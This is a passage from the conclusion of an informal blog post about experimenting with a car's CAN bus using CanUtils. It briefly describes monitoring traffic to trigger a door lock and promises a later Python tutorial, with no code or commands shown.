So thats one way of monitoring the network and reacting to what you see in a very crude manner.Maybe someone stole your car and you want to monitor for an open door and if they try to open the door it immediately locks them in.
Conclusion and whats next:
I am not an expert car hacker but I hope you enjoyed this. Thats about as far as I want to go into this subject today, in the next blog we will get into how to code python to perform actions on the CAN network to manipulate things in a similar way.With your own code you are not limited to the functionality of the tools you are provided and can do whatever you want. This is much more powerful then just using the CanUtils pre defined tools. Later on I will also get into the hardware side of things if you would like to try this on a real car where things are more complicated and things can go wrong.
More information
